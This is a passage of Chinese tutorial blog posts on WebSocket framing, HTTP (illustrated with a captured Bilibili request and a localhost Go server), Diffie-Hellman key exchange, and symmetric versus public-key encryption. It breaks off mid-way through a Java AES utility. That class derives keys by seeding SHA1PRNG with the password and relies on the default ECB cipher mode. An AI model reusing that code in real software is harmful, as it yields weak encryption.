但我们只需要关注下面这几个。opcode字段:这个是用来标志这是个什么类型的数据帧。比如。等于1时是指text类型(string)的数据包等于2是二进制数据类型([]byte)的数据包等于8是关闭连接的信号payload字段:存放的是我们真正想要传输的数据的长度,单位是字节。比如你要发送的数据是字符串"111",那它的长度就是3。另外,可以看到,我们存放payload长度的字段有好几个,我们既可以用最前面的7bit, 也可以用后面的7+16bit或7+64bit。那么问题就来了。我们知道,在数据层面,大家都是01二进制流。我怎么知道什么情况下应该读7bit,什么情况下应该读7+16bit呢?websocket会用最开始的7bit做标志位。不管接下来的数据有多大,都先读最先的7个bit,根据它的取值决定还要不要再读个16bit或64bit。如果最开始的7bit的值是 0~125,那么它就表示了 payload 全部长度,只读最开始的7个bit就完事了。如果是126(0x7E)。那它表示payload的长度范围在 126~65535 之间,接下来还需要再读16bit。这16bit会包含payload的真实长度。如果是127(0x7F)。那它表示payload的长度范围>=65536,接下来还需要再读64bit。这64bit会包含payload的长度。这能放2的64次方byte的数据,换算一下好多个TB,肯定够用了。payload data字段:这里存放的就是真正要传输的数据,在知道了上面的payload长度后,就可以根据这个值去截取对应的数据。大家有没有发现一个小细节,websocket的数据格式也是 数据头(内含payload长度) + payload data 的形式。之前写的《既然有HTTP协议,为什么还要有RPC》提到过,TCP协议本身就是全双工,但直接使用纯裸TCP去传输数据,会有粘包的"问题"。为了解决这个问题,上层协议一般会用消息头+消息体的格式去重新包装要发的数据。而消息头里一般含有消息体的长度,通过这个长度可以去截取真正的消息体。HTTP协议和大部分RPC协议,以及我们今天介绍的websocket协议,都是这样设计的。websocket的使用场景websocket完美继承了TCP协议的全双工能力,并且还贴心的提供了解决粘包的方案。它适用于需要服务器和客户端(浏览器)频繁交互的大部分场景。比如网页/小程序游戏,网页聊天室,以及一些类似飞书这样的网页协同办公软件。回到文章开头的问题,在使用websocket协议的网页游戏里,怪物移动以及攻击玩家的行为是服务器逻辑产生的,对玩家产生的伤害等数据,都需要由服务器主动发送给客户端,客户端获得数据后展示对应的效果。总结TCP协议本身是全双工的,但我们最常用的HTTP1.1,虽然是基于TCP的协议,但它是半双工的,对于大部分需要服务器主动推送数据到客户端的场景,都不太友好,因此我们需要使用支持全双工的websocket协议。在HTTP1.1里。只要客户端不问,服务端就不答。基于这样的特点,对于登录页面这样的简单场景,可以使用定时轮询或者长轮询的方式实现服务器推送(comet)的效果。对于客户端和服务端之间需要频繁交互的复杂场景,比如网页游戏,都可以考虑使用websocket协议。websocket和socket几乎没有任何关系,只是叫法相似。正因为各个浏览器都支持HTTP协议,所以websocket会先利用HTTP协议加上一些特殊的header头进行握手升级操作,升级成功后就跟HTTP没有任何关系了,之后就用websocket的数据格式进行收发数据。
0
0
0
浏览量244
超超

在B站看猫片被老板发现?不如按下F12学学HTTP

什么是HTTPHTTP 全称超⽂文本传输协议,也就是HyperText Transfer Protocol。 其中我们常见的文本,图片,视频这些东西都可以用超文本进行表示,而我常看的猫片,也属于超文本,所以大家不要再说我偷偷看猫片了,我只是在看超文本。HTTP只是定义了一套传输超文本的规则,只要符合了这一套规则,不管你是用iphone,还是用老爷机,都可以实现猫片的传输。七层网络大概了解了HTTP后,给大家看看它在它们家族里的地位。HTTP位于应用层,跟它类似的协议还有常见的FTP协议,常见的某影天堂的下载链接曾经经常是以FTP开头的。HTTP报文格式有点抽象?不知道小白说的啥?那实操一下,用wireshark抓包看一下猫片里的请求报文和响应报文具体长什么样子吧请求报文GET /cmaskboss/164203142_30_1.enhance.webmask HTTP/1.1 Host: upos-sz-staticks3.bilivideo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept: */* Origin: https://www.bilibili.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.bilibili.com/ Accept-Encoding: identity Accept-Language: zh-CN,zh;q=0.9 Range: bytes=0-16 这上面第一行的GET 就是请求方法,/cmaskboss/164203142_30_1.enhance.webmask 则是 URL , 而HTTP/1.1则是协议版本。接下来从Host开始到最后一行Range,都是Headers头。响应报文HTTP/1.1 206 Partial Content Content-Type: application/octet-stream Content-Length: 17 Connection: keep-alive Server: Tengine ETag: "92086de1e6d1d4791fb950a0ac7e30ba" Date: Sat, 30 Jan 2021 09:31:31 GMT Last-Modified: Sun, 04 Oct 2020 01:54:28 GMT Expires: Mon, 01 Mar 2021 09:31:31 GMT Age: 1018695 Content-Range: bytes 0-16/353225 Accept-Ranges: bytes X-Application-Context: application x-kss-request-id: 75bcbfa8ab194e3c825e89c81a912692 x-kss-BucketOwner: MjAwMDAyMDEwNw== X-Info-StorageClass: - Content-MD5: kght4ebR1HkfuVCgrH4wug== X-Cache-Status: HIT from KS-CLOUD-JH-MP-01-03 X-Cache-Status: HIT from KS-CLOUD-TJ-UN-14-13 X-Cache-Status: HIT from KS-CLOUD-LF-UN-11-25 Access-Control-Allow-Origin: https://www.bilibili.com Access-Control-Allow-Headers: Origin,X-Requested-With,Content-Type,Accept,range X-Cdn-Request-ID: 7e2c783ca7d392624118593ec1dc66bc类似请求报文,HTTP/1.1是协议版本,206是状态码,Partial Content 则是状态描述符。接下来从Content-Type开始到最后一行X-Cdn-Request-ID都是Headers信息。报文信息解读其实上面的抓包信息,在浏览器里按F12就能看到,之所以要用wireshark可能只是装X效果比较好吧。按下F12看到的响应数据就跟下图展示的那样。1.请求数据2.响应数据3.Request URLURL是什么URL 代表着是统一资源定位符(Uniform Resource Locator)。作用是为了告诉使用者 某个资源在 Web 上的地址。这个资源可以是一个 HTML 页面,一个 CSS 文档,一幅图像或一个猫片等等。上面我们请求猫片的URL就是 https://upos-sz-staticks3.bilivideo.com/cmaskboss/164203142_30_1.enhance.webmask 这里面细分,又可以分为好几个部分。协议部分表示该URL的协议部分为http还是https,会用//为分隔符。上面的URL表示网页用的是HTTPS协议,而上面提到的X影天堂用的则是ftp协议的下载链接。域名部分域名是upos-sz-staticks3.bilivideo.com,在发送请求前,会向DNS服务器解析IP,如果已经知道ip,还可以跳过DNS解析那一步,直接把IP当做域名部分使用。端口部分域名后面有些时候会带有端口,和域名之间用:分隔,端口不是一个URL的必须的部分。当网址为http://时,默认端口为80当网址为https://时,默认端口为443,以上两种都可以省略端口号。上面的URL其实省略了443端口号。虚拟目录从域名的第一个/开始到最后一个/为止,是虚拟目录的部分。虚拟目录也不是URL必须的部分,本例中的虚拟目录是/cmaskboss/文件名部分从域名最后一个/开始到?为止,是文件名部分;如果没有?,则是从域名最后一个/开始到#为止,是文件名部分;如果没有?和#,那么就从域名的最后一个/从开始到结束,都是文件名部分。本例中的文件名是164203142_30_1.enhance.webmask,文件名也不是一个URL的必须部分。URL 和 URI 的区别URL:Uniform Resource Locator 统一资源定位符;URI: Uniform Resource Identifier 统一资源标识符;其实一直有个误解,很多人以为URI是URL的子集,其实应该反过来。URL是URI的子集才对。简单解释下。 假设"小白"(URI)是一种资源,而"在迪丽亦巴的怀里"表明了一个位置。如果你想要找到(locate)小白,那么你可以到"在迪丽亦巴怀里"找到小白,而"在迪丽亦巴怀里的/小白"才是我们常说的URL。而"在迪丽亦巴怀里的/小白"(URL)显然是"小白"(URI)的子集,毕竟,"小白"还可能是"在牛亦菲怀里的/小白"(其他URL)。4.Request MethodHTTP 定义了一组请求方法,以表明要对给定资源执行的操作。指示针对给定资源要执行的期望动作.。虽然他们也可以是名词,但这些请求方法有时被称为HTTP动词.。每一个请求方法都实现了不同的语义。这次请求B站猫片的请求里用的是GET,意味着获取。但其实HTTP定义了多种请求方法,来满足各种需求。除了Get,还有几个POST、HEAD、OPTIONS、PUT、DELETE、TRACE 和 CONNECT。常见的各个请求方法的具体功能如下:GET请求指定的页面信息,并返回消息主体(body)+头信息(header)。HEAD:HEAD和GET本质是一样的,区别在于HEAD只返回头信息(header),不返回消息主体(body)。大家不要以为它没用,它跟GET和POST一样,在http/1.0的时候就存在了,实属三元老之一了。主要用途如果想要判断某个资源是否存在,虽然用GET也能做到,但这里用HEAD还省下拿body的消耗,返回状态码200就是有404就是无如果请求的是一个比较大的资源,比如一个超大视频和文件,你只想知道它到底有多大,而不需要整个下载下来,这时候使用HEAD请求,返回的headers会带有文件的大小(content-lenght)。POST向服务器提交数据。这个方法用途广泛,几乎目前所有的提交操作都是靠这个完成。POST跟GET最常用,但最大的区别在于,POST每次调用都可能会修改数据,是非幂等的,而GET类似于只读,是幂等的。PUT:这个方法比较少见。在HTTP规范中POST是非等幂的,多次调用会产生不同的结果。比如:创建一个用户,由于网络原因或是其他原因多创建了几次,那么将会有多个用户被创建。而PUT id/xiaobai 则会创建一个id为 xiaobai 的用户,多次调用还是会创建的结果是一样的,所以PUT是等幂的。但是一般为了避免造成心智负担,实战中也会使用POST替代PUT。DELETE:删除某一个资源。基本上这个也很少见,一般实战中如果是删除操作,也是使用POST来替代。OPTIONS:options是什么它用于获取当前URL所支持的方法。若请求成功,则它会在HTTP响应头部中带上给各种“Allow”的头,表明某个请求在对应的服务器中都支持哪种请求方法。比如下图:这里面需要关注的点有两个Request Header里的关键字段Response Header里的关键字段Options堪称是网络协议中的老实人,就好像老实人刚谈了个女朋友,每次牵手前都要问下人家 “我可以牵你的手吗?”, “我可以抱你吗?”,得到了答应后才会下手。差点被这老实人气质感动得留下了不争气的泪水。什么时候需要使用options在跨域(记住这个词,待会解释)的情况下,浏览器发起复杂请求前会自动发起 options 请求。跨域共享标准规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 GET 以外的 HTTP 请求,或者搭配某些 MIME 类型的 POST 请求),浏览器必须首先使用 options 方法发起一个预检请求,从而获知服务端是否允许该跨域请求。服务器确认允许之后,才发起实际的 HTTP 请求。这里提到了两个关键词:跨域复杂请求什么是简单请求和复杂请求。某些请求不会触发 CORS 预检请求,这样的请求一般称为"简单请求",而会触发预检的请求则为"复杂请求"。简单请求请求方法为GET、HEAD、POST只有以下Headers字段AcceptAccept-LanguageContent-LanguageContent-TypeDPR/Downlink/Save-Data/Viewport-Width/Width (这些不常见,放在一起)Content-Type 只有以下三种application/x-www-form-urlencodedmultipart/form-datatext/plain请求中的任意 XMLHttpRequestUpload 对象均没有注册任何事件监听器;请求中没有使用 ReadableStream 对象。复杂请求不满足简单请求的,都是复杂请求由此可见,因为上述请求在获取B站资源的请求Headers里带有 Access-Control-Request-Headers: range , 而range正好不在简单请求的条件2中提到的Headers范围里,因此属于复杂请求,于是触发预检options请求。什么是跨域刚刚提到了一个词叫跨域,那什么是跨域呢?在了解跨域之前,首先要了解一个概念:同源。所谓同源是指,域名、协议、端口均相同。不明白没关系,举个例子。需要特别注意的是,localhost和127.0.0.1虽然都指向本机,但也不属于同源。而非同源之间网页调用就是我们所说的跨域。在浏览器同源策略限制下,向不同源发送XHR请求,浏览器认为该请求不受信任,禁止请求,具体表现为请求后不正常响应。options带来什么问题由此可见,复杂请求的条件其实非常容易满足,而一旦满足复杂请求的条件,则浏览器便会发送2次请求(一次预检options,一次复杂请求),这一次options就一来一回(一个RTT),显然会导致延迟和不必要的网络资源浪费,高并发情况下则可能为服务器带来严重的性能消耗。如何优化options每次复杂请求前都会调用一次options,这其实非常没有必要。因为大部分时候相同的请求,短时间内获得的结果是不会变的,是否可以通过浏览器缓存省掉这一次查询?Access-Control-Max-Age就是优化这个流程中使用的一个Header。它的作用是当你每次请求options方法时,服务端返回调用支持的方法(Access-Control-Allow-Methods )和Headers(Access-Control-Allow-Headers)有哪些,同时告诉你,它在接下来 Access-Control-Max-Age时间(单位是秒)里都支持,则这段时间内,不再需要使用options进行请求。特别注意的是,当Access-Control-Max-Age的值为-1时,表示禁用缓存,每一次请求都需要发送预检请求,即用OPTIONS请求进行检测。5.Status Code状态码是什么HTTP Status Code是常说的HTTP状态码。当用户访问一个网页时,浏览器会向网页所在服务器发出请求。服务器则会根据请求作出响应,而状态码则是响应的一部分,代表着本次请求的结果。所有状态码的第一个数字代表了响应的大概含义,组合上第二第三个数字则可以表示更具体的原因。如果请求失败了,通过这个状态码,大概初步判断出这次请求失败的原因。以下是五类状态码的含义。状态码流程可以根据以下流程图了解下各类状态码间的关系。2xx和3xx之间的流程关系4xx的状态流程5xx的状态流程常见状态码介绍200 OK这是最常见的状态码。代表请求已成功,数据也正常返回。而B站猫片里虽然响应成功了,但却不是200,而是206,是为什么呢,接下去继续看看。206 Partial Content这个状态码在上面B站请求的响应结果。服务器已经成功处理了部分 GET 请求。类似于B站看视频或者迅雷这类的 HTTP下载工具都是使用此类响应实现断点续传或者将一个大文档分解为多个下载段同时下载。307 Temporary Redirect内部重定向。重定向的意思是,当你输入一个网址的时候,浏览器会自动帮你跳转到另外一个网址上。比如,当你在浏览器输入框输入http://www.baidu.com/时。由于使用http并不安全,百度会自动帮你跳转到它对应的https网页上。而此时,需要重定向的地址,会通过Response Headers的Location返回404 Not Found请求失败,请求所希望得到的资源未被在服务器上发现。出现这个错误的最有可能的原因是服务器端没有这个页面,或者是Request Method与注册URL的Method不一致,比如我有一个URL在服务端注册的Request Method 为 POST,但调用的时候却错误用了GET,则也会出现404错误。499 Client has closed connection网络请求过程中,由于服务端处理时间过长,客户端超时。一般常见于,后端服务器处理时间过长,而客户端也设置了一个超时等待时间,客户端等得“不耐烦”了,主动关掉连接时报出。502 Bad Gateway服务器方面无法给予正常的响应。一般常见于服务器崩溃后,nginx 无法正常收到服务端的响应,给客户端返回502状态码。504 Gateway Timeout网络请求过程中,由于服务端处理时间过长,网关超时。一般常见于,后端服务器逻辑处理时间过长,甚至长于 nginx设置的最长等待时间时报错。它跟 499 状态码非常像,区别在于499 表示的是客户端超时,504是网关超时。如果是499超时,可以考虑修改客户端的代码调整超时时间,如果是504,则考虑调整nginx的超时配置。6. HeadersContent-LengthContent-Length是HTTP的消息长度, 用十进制数字表示。Content-Length首部指出报文中消息的当前实际字节大小。如果消息文本进行了gzip压缩的话, Content-Length指的就是压缩后的大小而不是原始大小。正常情况下Content-Length是不需要手动去设置的,大部分语言的网络库都会自动封装好,但是如果在一些特殊情况下,出现Content-Length与实际要发送的消息大小不一致,就会出现一些问题。如果Content-Length < 实际长度下面启动一个HTTP服务器,所有语言都一样,示例里使用了golang。package main import ( "fmt" "io/ioutil" "log" "net/http" ) // w表示response对象,返回给客户端的内容都在对象里处理 // r表示客户端请求对象,包含了请求头,请求参数等等 func index(w http.ResponseWriter, r *http.Request) { b, _ := ioutil.ReadAll(r.Body) fmt.Printf("request body=%#v, content_length=%v \nheaders=%v",string(b), r.ContentLength, r.Header) // 往w里写入内容,就会在浏览器里输出 fmt.Fprintf(w, string(b)) } func main() { // 设置路由,如果访问/,则调用index方法 http.HandleFunc("/", index) // 启动web服务,监听9090端口 err := http.ListenAndServe(":9999", nil) if err != nil { log.Fatal("ListenAndServe: ", err) } } 在控制台输入$ $ curl -L -X POST 'http://127.0.0.1:9999' -H 'Content-Type: application/json' -H 'Content-Length: 5' -d '1234567' | jq % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 12 100 5 100 7 828 1160 --:--:-- --:--:-- --:--:-- 1400 12345 输入的body是 1234567,共7个数字,但是输入的 Content-Length为 5。到了服务器那,收到了 12345,共5个数字,数量上跟输入的Content-Length一致。 由此可见当Content-Length < 实际长度, 消息会被截断。如果Content-Length > 实际长度还是上面的服务端代码,但是控制台输入以下命令$ curl -L -X POST 'http://127.0.0.1:9999' -H 'Content-Type: application/json' -H 'Content-Length: 100' -d '1234567' | jq % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 7 0 0 0 7 0 0 --:--:-- 0:01:19 --:--:-- 0 这次情况不太一样,会发现请求一直阻塞没有返回。这是因为输入的body是 1234567,共7个数字,但是输入的 Content-Length为 100。也就是服务端一直认为这次的body长度为100,但是目前只收到了部分消息(长度为7),剩余的长度为93的消息由于各种原因还在路上,因此选择傻傻等待剩下的消息,就造成了上面提到的阻塞。Range视频播放需要支持用户调整播放进度,支持让用户选择直接跳到中间部分开始播放。为了实现这个功能,需要通过HTTP Range Requests 协议用于指定需要获取视频片段。而 Request Header里的range头则是用于指定要请求文件的起始和结束位置。如果服务器不支持,直接忽略 Range 头,浏览器会正常按流式加载整个视频文件,以状态码 200 响应即可。另外,当我们在 html 中放一个 video 标签,浏览器会直接发起一个 Range: bytes=0- 的请求,向服务器请求从开始到结尾的完整文件。如果服务器支持 Range Requests,会读取视频文件,并将他的第 162653~242638 字节提取出来,响应码为 206,则浏览器会在接收到足够字节(比如当前播放进度往后推20s)时结束掉请求,以节省网络流量;当播放进度继续往前,缓存不够时,浏览器会发起一个新的 Range Requests 请求,请求的 Range 直接从缓存结尾的字节开始,只加载剩余的部分文件。同时返回的Response Headers中有一个 content-range 的字段域,用于告诉了客户端发送了多少数据。content-range 描述了响应覆盖的范围和整个实体长度。一般格式:Content-Range:开始字节位置-结束字节位置/文件大小(byte)。Connection长连接和短连接Connection: close表示请求响应完成之后立即关闭连接,这是HTTP/1.0请求的默认值。每次请求都经过“创建tcp连接 -> 请求资源 -> 响应资源 -> 释放连接”这样的过程Connection: keep-alive表示连接不立即关闭,可以继续响应下一个请求。HTTP/1.1的请求默认使用一个持久连接。可以做到只建立一次连接,多次资源请求都复用该连接,完成后关闭。流程上是 建立tcp连接 -> 请求资源 -> 响应资源 -> ... (保持连接)... -> 第n次请求资源 -> 第n次响应资源 -> 释放连接。在http1.1中Request Header和Reponse Header中都有可能出现一个Connection: keep-alive 头信息。Request Header里的Connection: keep-alive 头是为了告诉服务端,客户端想要以长连接形式进行通信。而Response Header里的Connection: keep-alive 头是服务端告诉客户端,我的服务器支持以长连接的方式进行通信。如果不能使用长连接,会返回 Connection: close ,相当于告诉客户端“我不支持长连接,你死了这条心,老老实实用短连接吧” 。HTTP为什么要使用长连接我们知道 HTTP 建立在 TCP 传输层协议之上,而 TCP 的建立需要三次握手,关闭需要四次挥手,这些步骤都需要时间,带给 HTTP 的就是请求响应时延。如果使用短连接,那么每次数据传输都需要经历一次上面提到的几个步骤,如果能只连接一次,保持住这个连接不断开,期间通信就可以省下建立连接和断开连接的过程,对于提升HTTP性能有很大的帮助。可以看到,在使用 Connection: close 通信时,每次都需要重新经历一次握手挥手。可以通过 Connection: keep-alive 省下这部分的资源消耗。长连接可以省去较多的TCP建立和关闭的操作,减少浪费,节约时间。对于频繁请求资源的客户来说,较适用长连接。但是在长连接的应用场景下,需要有一方主动关闭连接。如果客户端和服务端之间的连接一直不关闭的话,连接数则会越来越多,严重的时候会造成资源占用过高。解决方案也比较简单。如果这些连接其实长时间内并没有任何数据传输的话,那其实属于空闲连接,这时候可以在服务端设置空闲连接的存活时间,超过一定时间后由服务端主动断掉,从而保证无用连接及时释放。CookiesCookies是什么Cookie 是浏览器访问服务器后,服务器传给浏览器的一段数据。里面一般带有该浏览器的身份信息。浏览器需要保存这段数据,不得轻易删除。此后每次浏览器访问该服务器,都必须带上这段数据。服务器用使用这段数据确认浏览器身份信息。Cookie的作用Cookie 一般有两个作用。识别用户身份。举个例子。用户 A 用浏览器访问了“猫猫网”,“猫猫网”的服务器就会立刻给 A 返回一段Cookie数据,内含「uid=a」。当 A 再次访问“猫猫网”下的其他页面时,比如跳转到“猫猫交友评论”,就会附带上「uid=a」这段数据。同理,用户 B 用浏览器访问“猫猫网” 时,就给 B 分配了一段Cookie数据,内含「uid=b」。B 之后访问“猫猫网”的时候,就会一直带上「uid=b」这段数据。因此“猫猫网”的服务器通过Cookie数据就能区分 A 和 B 两个用户了。持久化用户信息。因为cookies的数据会被用户浏览器保存到本地下。因此可以利用这一特点保持一些简单的用户数据。比如一些博客网站,可以通过cookies记录下用户的性别年龄等信息,以此进行一些个性化展示。当然上面提到的都是一些比较粗糙的场景,是为了方便大家理解cookies的功能。实际使用cookies会非常谨慎。Referrer Policy 和 ReferrerReferrer是什么Referrer 是HTTP请求header的报文头,用于指明当前流量的来源参考页面,常被用于分析用户来源等信息。通过这个信息,我们可以知道访客是怎么来到当前页面的。比如在上面的请求截图里,可以看出我是使用https://www.bilibili.com/访问的视频资源。Referrer Policy 是什么Referrer 字段,会用来指定该请求是从哪个页面跳转页来的,里面的信息是浏览器填的。而 Referrer Policy 则是用于控制Referrer信息传不传、传哪些信息、在什么时候传的策略。为什么要这么麻烦呢?因为有些网站一些用户敏感信息,比如 sessionid 或是 token 放在地址栏里,如果当做Referrer字段全部传递的话,那第三方网站就会拿到这些信息,会有一定的安全隐患。所以就有了 Referrer Policy,用于过滤 Referrer 报头内容。比如在上面的请求截图里,可以看出我是使用strict-origin-when-cross-origin策略,含义是跨域时将当前页面URL过滤掉参数及路径部分,仅将协议、域名和端口(如果有的话)当作 Referrer。否则 Referrer 还是传递当前页的全路径。同时当发生降级(比如从 https:// 跳转到 http:// )时,不传递 Referrer 报头。Cache-control什么是cache-controlcache-control,用于控制浏览器缓存。简而言之,当某人访问网站时,其浏览器将在本地保存某些资源,例如图像和网站数据。当该用户重新访问同一网站时,缓存控制设置的规则会确定该用户是否从本地缓存中加载这些资源,或者浏览器是否必须向服务器发送新资源的请求。什么是浏览器缓存浏览器缓存是指浏览器本地保存网站资源,以便不必再次通过网络从服务器获取它们。例如,“猫猫网”的背景图像可以保存到本地缓存中,这样在用户第二次访问该页面时,该图像将从用户的本地文件加载,剩下网络获取资源的时间,页面加载速度就会更快。但是浏览器也不会永远把这些网站资源放在本地,否则本地磁盘就会炸,所以会限定保存资源的时间,这叫生存时间(TTL)。如果 TTL 过期后用户请求缓存的资源,浏览器必须再次通过网络与服务器建立连接并重新下载这个资源。常见的缓存控制策略cache-control: private 具有“private”指令的响应只能由客户端缓存,不能由中间代理(例如 CDN或代理)缓存。这些资源通常是包含私密数据的资源,例如显示用户个人信息的网站。cache-control: public 相反,“public”指令表示资源可以由任何缓存存储。cache-control: no-store 带有“no-store”指令的响应无法缓存到任何位置,也永不缓存。也就是说,用户每次请求此数据时,都必须将请求发送到源站服务器以获取新副本。此指令通常保留给包含极其敏感数据的资源,例如银行帐户信息。cache-control: max-age 此指令指定了生存时间,也就是资源在下载后可以缓存多少秒钟。例如,如果将最大期限设置为 1800,则首次从服务器请求资源后的 1800 秒(30 分钟)内,后续请求都会向用户提供该资源的缓存版本。如果 30 分钟后用户再次请求资源,则客户端需要向服务器重新请求该资源。cache-control: no-cache从B站截图里可以看出,使用的缓存控制指令是cache-control: no-cache。它表示,只有先检查资源没有更新版本后,才可使用所请求资源的缓存版本。那么问题来了,怎么判断资源是否有更新版本呢?这就需要 ETag。ETagEtag是 Entity tag的缩写,是服务端的一个资源版本的令牌标识。在 HTTP 响应头中将其传送到客户端。每当资源更新时,此令牌会更新。比如,浏览器第一次请求资源的时候,服务端返回了这个资源的ETag: "095933fff2323351d3b495f2f879616f1762f752"。当浏览器再次请求这个资源的时候,浏览器会将If-None-Match: "095933fff2323351d3b495f2f879616f1762f752" 传输给服务端,服务端拿到该ETAG,对比资源是否发生变化。如果资源未发生改变,则返回304HTTP状态码,不返回具体的资源。否则表示资源已经更新,浏览器需要下载新版本以提供给用户。此过程可确保用户始终获得资源的最新版本,并且无需进行不必要的下载。最后果然B站是个充满学习氛围的地方,看个猫片都能学到这么多硬核知识。接下来我打算去舞蹈区看看有没有适合你们的知识点。参考资料- [1] 计算机网络自动向下- [2] 极客时间-趣谈网络协议- [3] 极客时间-透视HTTP- [4] 图解HTTP- [5] 漫画形象-小肥柴
0
0
0
浏览量524
超超

迪菲赫尔曼密钥交换的理解

前言迪菲赫尔曼密钥交换是一种可以在通信双方之间安全交换密钥的方法。这种方法通过将双方共有的密码数值隐藏在公开数值相关的运算中,来实现双方之间密钥的安全交换。概念图解假设有一种方法可以合并这两个密钥。使用这种方法来合并密钥P和密钥S,就会得到由这两个密钥的成分所构成的密钥P-S。 这种合成方法有三个特征。第一,即将持有密钥P和合成的密钥P-S,也无法把密钥S单独取出来。 第二,不管是怎样合成而来的密钥,都可以把它作为新的元素,继续与别的密钥合并而成。如图所示,使用密钥P和密钥P-S,还能合成出新的密钥P-P-S。 第三,密钥的合成结果与合成顺序无关,只与用了哪些密钥有关。比如合成密钥B和密钥C后,得到的密钥B-C,再将其与密钥A合成,得到的就是密钥A-B-C。而合成密钥A和密钥C后,得到的是密钥A-C,再将其与密钥B合成,得到的就是密钥B-A-C。此处的密钥A-B-C和密钥B-A-C是一样的 图解示例如图所示,用上述方法,在A和B这两人之间安全的交换密钥。首先由A生成密钥P。 然后A把密钥P发送给B。 接下来,A和B各自准备自己的私有密钥SA和SB。 A利用密钥P和私有密钥SA合成新的密钥P-SA。 B也利用密钥P和私有密钥SB合成新的密钥P-SB。 A将密钥P-SA发送给B,B也将密钥P-SB发送给A。A将私有密钥SA和收到的密钥P-SB合成为新的密钥SA-P-SB。 同样地,B也将私有密钥SB和收到的密钥P-SA合成为新的密钥P-SA-SB。于是A和B都得到了P-SA-SB。这个密钥将作为“加密密钥”和“解密密钥”来使用。 安全性图解接下来,我们验证下该密钥交换的安全性。因为密钥P、密钥P-SA和密钥P-SB需要在互联网上进行传输,所以有可能会被X窃听。 但是,X无法用自己窃听道的密钥合成出P-SA-SB,因此这种交换方式是安全的。 迪菲赫尔曼密钥交换图解如图所示,P、G两个整数表示一开始生成的公开密钥P。其中P是一个非常大的素数,而G是素数P所对应的生成元(或者“原根”)中的一个。 首先,由A来准备素数P和生成元G。这两个数公开也没有关系。 A将素数P和生成元G发送给B。 接下来,A和B分别准备了各自的秘密数字X和Y。X和Y都必须小于p-2 A和B分别计算"(G的秘密数字次方)mod P"。mod运算就是取余运算。"G mod P"就是计算G除以P后的余数。此处的运算等同于概念意义上的"合成"。A和B将自己的计算结果发送给对方。 A和B收到对方的计算结果后,先计算这个值的秘密数字次方,然后再mod P。最后A和B会得到相同的结果。 安全性如图所示,即便X窃听了整个通信过程,也无法使用窃听到的数字计算出A和B共有的数字。而且,X也无法计算出保密数字X和Y。因此,此处使用迪菲赫尔曼密钥交换是安全的。 迪菲赫尔曼密钥交换是通过素数P、生成元G和“G的x次方 mod P”求出X的问题就是「离散对数问题」,至今为止尚未找到这个问题的解法,而迪菲赫尔曼密钥交换正是利用了这个数学难题,因此在离散对数问题未解决前,该加密方法就是安全的。❝使用迪菲赫尔曼密钥交换,通信双方仅通过交换一些公开信息就可以实现密钥交换。但实际上,双方并没有交换密钥,而是生成了密钥。因此,该方法又被叫做「迪菲赫尔曼协议」。❞
0
0
0
浏览量583
超超

共享密钥加密与公开密钥加密

前言加密数据的方法可以分为两种:加密和解密都使用相同密钥的“共享密钥加密”和分别使用不同密钥的“公开密钥加密”。本文将以图文的形式讲解这两种加密的机制以及相关问题,挑选使用最为广泛两种加密算法,用JAVA将其实现,欢迎各位感兴趣的开发者阅读本文。共享密钥加密概念共享密钥加密是加密和解密都是用相同密钥的一种加密方式,由于使用的密钥相同,所以这种算法也被称为“对称加密”,实现共享加密的算法有:「AES」、「DES」、「动态口令」等,其中AES的应用最为广泛。 处理流程图解例如,A准备通过互联网向B发送数据 由于有被窃听的风险,所以需要把数据加密后再发送。 A使用密钥加密数据,并将秘文发送给B。B收到秘文后,使用相同的密钥对其进行解密。这样B就取得了原本的数据。此时的数据已经是加密好的了,就不需要担心第三者窃取数据了,因为它没有密钥解开此密文。 可能产生的问题如图所示,B接收A发送的密文时,密文可能已经被X窃听了。此时,B不知道加密时使用的是什么密钥。 A需要通过某种手段将密钥交给B。和密文一样,A又在互联网上向B发送了密钥。 B使用收到的密钥对密文进行解密,但是该密钥也有可能会被X窃听,这样以来X也可以使用密钥对密文进行解密了。❝使用共享密钥加密时,如果接收方不知道密钥是什么,发送方就要通过互联网发送密钥给接收方,此时密钥可能会被第三者监听,这就是共享密钥加密最大问题的所在。❞解决方案如上所述,共享密钥加密存在密钥送达问题,想要解决这个问题,我们可以使用“密钥交换协议”和“公开密钥加密”两种方法。恩尼格玛密码机第二次世界大战中,德军所用的”恩尼格玛密码机“使用的加密方式就是共享密钥加密,我们熟知的英国数学家「艾伦·图灵」就破解了这个密码机生成的密文,在二战中为英国做了很多的贡献,比如著名的“诺曼底登陆”事件,昨晚看了一部电影《模仿游戏》,该电影讲了图灵的一生,其中就包括了破解恩尼格玛密码机这一部分,挺好的一部电影,感兴趣的朋友可以去看看。JAVA实现AES加密我们用Java实现下AES加密。创建AESUtils文件,编写AES加密工具类package com.lk.util; import javax.crypto.Cipher; import javax.crypto.KeyGenerator; import javax.crypto.SecretKey; import java.io.Closeable; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.security.SecureRandom; public class AESUtils { /** * 密钥长度: 128, 192 or 256 */ private static final int KEY_SIZE = 128; /** * 加密/解密算法名称 */ private static final String ALGORITHM = "AES"; /** * 随机数生成器(RNG)算法名称 */ private static final String RNG_ALGORITHM = "SHA1PRNG"; /** * 生成密钥对象 * @param key byte[] 类型参数 * @return AES密钥对象 */ private static SecretKey generateKey(byte[] key) throws Exception { // 创建安全随机数生成器 SecureRandom random = SecureRandom.getInstance(RNG_ALGORITHM); // 设置 密钥key的字节数组 作为安全随机数生成器的种子 random.setSeed(key); // 创建 AES算法生成器 KeyGenerator gen = KeyGenerator.getInstance(ALGORITHM); // 初始化算法生成器 gen.init(KEY_SIZE, random); // 生成 AES密钥对象 return gen.generateKey(); } /** * 数据加密: 明文 -> 密文 */ public static byte[] encrypt(byte[] plainBytes, byte[] key) throws Exception { // 生成密钥对象 SecretKey secKey = generateKey(key); // 获取 AES 密码器 Cipher cipher = Cipher.getInstance(ALGORITHM); // 初始化密码器(加密模型) cipher.init(Cipher.ENCRYPT_MODE, secKey); // 加密数据, 返回密文 